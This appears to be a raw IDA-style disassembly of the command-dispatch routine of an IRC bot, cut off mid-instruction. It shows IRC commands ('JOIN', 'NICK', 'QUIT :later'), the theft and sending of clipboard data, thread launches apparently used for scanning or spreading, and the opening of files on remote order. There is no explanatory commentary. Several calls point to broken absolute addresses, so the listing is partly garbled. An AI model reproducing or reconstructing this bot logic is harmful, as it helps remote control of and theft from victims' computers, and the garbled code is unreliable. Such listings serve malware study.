pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413990 push offset unk_4360A0 jmp short loc_413995 ; --------------------------------------------------------------------------- loc_413990: ; CODE XREF: sub_40EE72+4B15j push offset unk_43605C loc_413995: ; CODE XREF: sub_40EE72+4B1Cj lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139CE: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_415188 add esp, 18h cmp eax, 1 push edi jnz short loc_4139F0 push offset unk_436028 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F0: ; CODE XREF: sub_40EE72+4B72j push offset unk_435FE8 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FA: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A34 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_413A4F push dword ptr [eax] loc_413A1D: ; CODE XREF: sub_40EE72+4BDBj push edi lea eax, [ebp+var_2DC] push offset dword_435FBC push eax call sub_4172AE add esp, 10h jmp short loc_413A62 ; --------------------------------------------------------------------------- loc_413A34: ; CODE XREF: sub_40EE72+4B95j push edi call dword_43F6EC cmp eax, ebx jz short loc_413A4F mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43F6F4 push eax jmp short loc_413A1D ; --------------------------------------------------------------------------- loc_413A4F: ; CODE XREF: sub_40EE72+4BA7j ; sub_40EE72+4BCBj push offset dword_435F84 loc_413A54: ; CODE XREF: sub_40EE72+3E2Dj ; sub_40EE72+3FBCj ... lea eax, [ebp+var_2DC] push eax call sub_4172AE pop ecx pop ecx loc_413A62: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B35j ... cmp [ebp+var_8], ebx jnz loc_414AC1 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC1 ; --------------------------------------------------------------------------- loc_413A8C: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_435F50 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA5: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi jz short loc_413AC5 push offset unk_435F14 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC5: ; CODE XREF: sub_40EE72+4C47j push offset unk_435ED0 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413ACF: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_435E9C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE4: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415CFF add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_4367E4 push eax call sub_4172AE add esp, 0Ch jmp loc_412FD0 ; --------------------------------------------------------------------------- loc_413B32: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F mov esi, 1F4h pop ecx cmp eax, esi jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 pop ecx pop ecx push esi nop call near ptr 26004EDh push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call dword_43F700 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450D4[eax] call near ptr 27C0AC6h nop push edi call sub_41781F imul eax, 234h push edi mov dword_4450D4[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_444EC0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDB: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C19 call sub_416F23 cmp eax, ebx jle short loc_413C0F push eax push offset dword_435E50 loc_413BFB: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172AE loc_413C07: ; CODE XREF: sub_40EE72+3CA4j add esp, 0Ch jmp loc_41460A ; --------------------------------------------------------------------------- loc_413C0F: ; CODE XREF: sub_40EE72+4D81j push offset dword_435E18 jmp loc_4145FC ; --------------------------------------------------------------------------- loc_413C19: ; CODE XREF: sub_40EE72+4D78j mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C35: ; CODE XREF: sub_40EE72+4E34j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E95 pop ecx pop ecx test eax, eax push esi jz short loc_413C5C push offset dword_435DE4 jmp short loc_413C61 ; --------------------------------------------------------------------------- loc_413C5C: ; CODE XREF: sub_40EE72+4DE1j push offset dword_435DA8 loc_413C61: ; CODE XREF: sub_40EE72+4DE8j lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C91 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C91: ; CODE XREF: sub_40EE72+4E01j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C35 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAD: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F45 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F45 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_435D80 jmp loc_414F3E ; --------------------------------------------------------------------------- loc_413CE7: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_436714 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435D50 jmp loc_414F3E ; --------------------------------------------------------------------------- loc_413D03: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_435D20 jmp loc_414F3E ; --------------------------------------------------------------------------- loc_413D26: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435CEC jmp loc_414F3E ; --------------------------------------------------------------------------- loc_413D42: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D59: ; CODE XREF: sub_40EE72+4EEFj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D59 cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D6E: ; CODE XREF: sub_40EE72+51BAj push 8 call sub_416FA2 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_413DBD push ecx lea eax, [ebp+var_2DC] push offset unk_437028 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414023 ; --------------------------------------------------------------------------- loc_413DBD: ; CODE XREF: sub_40EE72+4F16j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 320h mov [ebp+arg_0], ebx jz short loc_413E2E mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DF8: ; CODE XREF: sub_40EE72+4F9Ej lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E14 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DF8 jmp short loc_413E2E ; --------------------------------------------------------------------------- loc_413E14: ; CODE XREF: sub_40EE72+4F94j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E2E: ; CODE XREF: sub_40EE72+4F79j ; sub_40EE72+4FA0j cmp [ebp+var_330], ebx jz loc_414037 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED0 loc_413EAE: ; CODE XREF: sub_40EE72+505Cj cmp eax, ebx jz short loc_413ED0 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EAE loc_413ED0: ; CODE XREF: sub_40EE72+503Aj ; sub_40EE72+503Ej mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A push offset byte_43C80C push offset aF ; "#f" call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3A push offset aF ; "#f" lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_413F40 ; --------------------------------------------------------------------------- loc_413F3A: ; CODE XREF: sub_40EE72+50AFj mov [ebp+var_3B4], bl loc_413F40: ; CODE XREF: sub_40EE72+50C6j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F52 mov eax, offset aSequential ; "Sequential" loc_413F52: ; CODE XREF: sub_40EE72+50D9j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_435C74 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5A add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413FDC loc_413FCA: ; CODE XREF: sub_40EE72+5168j cmp [ebp+var_300], ebx jnz short loc_413FF7 push 32h nop call near ptr 26004EDh jmp short loc_413FCA ; --------------------------------------------------------------------------- loc_413FDC: ; CODE XREF: sub_40EE72+5156j nop call near ptr 264030Ch push eax lea eax, [ebp+var_2DC] push offset unk_436F18 push eax call sub_4172AE add esp, 0Ch loc_413FF7: ; CODE XREF: sub_40EE72+515Ej cmp [ebp+var_8], ebx jnz short loc_414016 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414016: ; CODE XREF: sub_40EE72+5188j lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414023: ; CODE XREF: sub_40EE72+4F46j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D6E jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414037: ; CODE XREF: sub_40EE72+3108j ; sub_40EE72+4FC2j push offset unk_435C30 jmp loc_4145FC ; --------------------------------------------------------------------------- loc_414041: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_435BF8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5A add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4140DA loc_4140C7: ; CODE XREF: sub_40EE72+5266j cmp [ebp+var_18], ebx jnz loc_414E0F push 32h nop call near ptr 26004EDh jmp short loc_4140C7 ; --------------------------------------------------------------------------- loc_4140DA: ; CODE XREF: sub_40EE72+5253j call near ptr 264030Ch nop push eax push offset unk_435BAC jmp loc_414E00 ; --------------------------------------------------------------------------- loc_4140EB: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA2 test eax, eax pop ecx jle short loc_414101 push offset unk_435B80 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414101: ; CODE XREF: sub_40EE72+5283j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414124 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_414138 ; --------------------------------------------------------------------------- loc_414124: ; CODE XREF: sub_40EE72+5298j mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx nop call near ptr 2650000h loc_414138: ; CODE XREF: sub_40EE72+52B0j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_414148 mov esi, offset byte_42F678 loc_414148: ; CODE XREF: sub_40EE72+52CFj push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5A add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41421B loc_414205: ; CODE XREF: sub_40EE72+53A7j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h nop call near ptr 26004EDh jmp short loc_414205 ; --------------------------------------------------------------------------- loc_41421B: ; CODE XREF: sub_40EE72+5391j nop call near ptr 264030Ch push eax push offset unk_435B38 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422C: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424B push edi call sub_41781F test eax, eax pop ecx jz short loc_41424B push edi call sub_41781F pop ecx jmp short loc_414250 ; --------------------------------------------------------------------------- loc_41424B: ; CODE XREF: sub_40EE72+53C3j ; sub_40EE72+53CEj mov eax, dword_42F5B0 loc_414250: ; CODE XREF: sub_40EE72+53D7j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414283 lea eax, [ebp+var_680] push esi push eax call sub_4172AE pop ecx pop ecx jmp short loc_4142AE ; --------------------------------------------------------------------------- loc_414283: ; CODE XREF: sub_40EE72+53FEj lea eax, [ebp+var_3FC] push 104h push eax nop call near ptr 2600552h push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142AE: ; CODE XREF: sub_40EE72+540Fj lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142D9 lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142D9: ; CODE XREF: sub_40EE72+5451j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5A add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414391 loc_41437B: ; CODE XREF: sub_40EE72+551Dj cmp [ebp+var_560], ebx jnz loc_4144E3 push 32h nop call near ptr 26004EDh jmp short loc_41437B ; --------------------------------------------------------------------------- loc_414391: ; CODE XREF: sub_40EE72+5507j call near ptr 264030Ch nop push eax push offset unk_435AF0 jmp loc_4144D4 ; --------------------------------------------------------------------------- loc_4143A2: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C1 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C1 push edi call sub_41781F pop ecx jmp short loc_4143C6 ; --------------------------------------------------------------------------- loc_4143C1: ; CODE XREF: sub_40EE72+5539j ; sub_40EE72+5544j mov eax, dword_42F5B4 loc_4143C6: ; CODE XREF: sub_40EE72+554Dj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DD lea eax, [ebp+var_D8] loc_4143DD: ; CODE XREF: sub_40EE72+5563j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_4143FF mov esi, offset byte_43C80C loc_4143FF: ; CODE XREF: sub_40EE72+5586j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435AA4 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5A add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset dword_41570C push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4144C8 loc_4144B6: ; CODE XREF: sub_40EE72+5654j cmp [ebp+var_560], ebx jnz short loc_4144E3 push 32h nop call near ptr 26004EDh jmp short loc_4144B6 ; --------------------------------------------------------------------------- loc_4144C8: ; CODE XREF: sub_40EE72+5642j nop call near ptr 264030Ch push eax push offset dword_435A58 loc_4144D4: ; CODE XREF: sub_40EE72+3625j ; sub_40EE72+3722j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch loc_4144E3: ; CODE XREF: sub_40EE72+3609j ; sub_40EE72+3706j ... cmp [ebp+var_8], ebx jnz loc_414E0F push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F3: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414506 push esi call sub_41781F jmp short loc_41450D ; --------------------------------------------------------------------------- loc_414506: ; CODE XREF: sub_40EE72+568Aj push 8 call sub_416FC1 loc_41450D: ; CODE XREF: sub_40EE72+5692j cmp eax, ebx pop ecx jz loc_414F45 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_414528: ; CODE XREF: sub_40EE72+5B65j add esp, 10h jmp loc_414F45 ; --------------------------------------------------------------------------- loc_414530: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43F590 cmp eax, ebx jz short loc_41454D call eax test eax, eax jz short loc_414546 push offset unk_435A24 jmp short loc_414562 ; --------------------------------------------------------------------------- loc_414546: ; CODE XREF: sub_40EE72+56CBj push offset unk_4359E8 jmp short loc_414562 ; --------------------------------------------------------------------------- loc_41454D: ; CODE XREF: sub_40EE72+56C5j push offset unk_4359AC jmp short loc_414562 ; --------------------------------------------------------------------------- loc_414554: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_414578 push offset unk_435978 loc_414562: ; CODE XREF: sub_40EE72+4AFCj ; sub_40EE72+56D2j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_414578: ; CODE XREF: sub_40EE72+56E9j push offset unk_43593C jmp short loc_414562 ; --------------------------------------------------------------------------- loc_41457F: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_41459E push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_41459E: ; CODE XREF: sub_40EE72+5710j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4358FC loc_4145BB: ; CODE XREF: sub_40EE72+5A07j ; sub_40EE72+5A39j call sub_40BF6D add esp, 18h jmp loc_414F45 ; --------------------------------------------------------------------------- loc_4145C8: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA2 test eax, eax pop ecx jle short loc_4145DB push offset dword_4358C4 jmp short loc_4145FC ; --------------------------------------------------------------------------- loc_4145DB: ; CODE XREF: sub_40EE72+5760j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F7 push offset dword_43588C jmp short loc_4145FC ; --------------------------------------------------------------------------- loc_4145F7: ; CODE XREF: sub_40EE72+577Cj push offset dword_43585C loc_4145FC: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE pop ecx pop ecx loc_41460A: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E0F push ebx push [ebp+var_4] loc_414617: ; CODE XREF: sub_40EE72+3961j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414627: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E0F ; --------------------------------------------------------------------------- loc_414634: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464D: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466A: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh nop call near ptr 25F085Ah xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414693 push esi call sub_41781F pop ecx mov edi, eax loc_414693: ; CODE XREF: sub_40EE72+5816j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AC cmp edi, 0FFFFFFFFh jnz loc_414F45 loc_4146AC: ; CODE XREF: sub_40EE72+582Fj push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435834 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146EF: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_435804 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470D: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA2 test eax, eax pop ecx jle short loc_414736 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_4357D0 push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414736: ; CODE XREF: sub_40EE72+58A5j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414797 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414797 mov [ebp+var_46C], 1 loc_414797: ; CODE XREF: sub_40EE72+5908j ; sub_40EE72+5919j lea eax, [ebp+var_2DC] push offset dword_435798 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5A add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415339 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414805 loc_4147EF: ; CODE XREF: sub_40EE72+5991j cmp [ebp+var_460], ebx jnz loc_414E0F push 32h nop call near ptr 26004EDh jmp short loc_4147EF ; --------------------------------------------------------------------------- loc_414805: ; CODE XREF: sub_40EE72+597Bj nop call near ptr 264030Ch push eax push offset unk_435748 jmp loc_414E00 ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414835 push ebx push [ebp+var_4] push offset dword_435720 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414835: ; CODE XREF: sub_40EE72+59A7j push [ebp+arg_4] call dword_43F700 call dword_43F5C8 call sub_40AC42 push ebx nop call near ptr 77E75CB5h loc_414850: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356F8 jmp loc_4145BB ; --------------------------------------------------------------------------- loc_41487E: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356D0 jmp loc_4145BB ; --------------------------------------------------------------------------- loc_4148B0: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148C9: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_414908 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414908 push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414908 push eax push offset 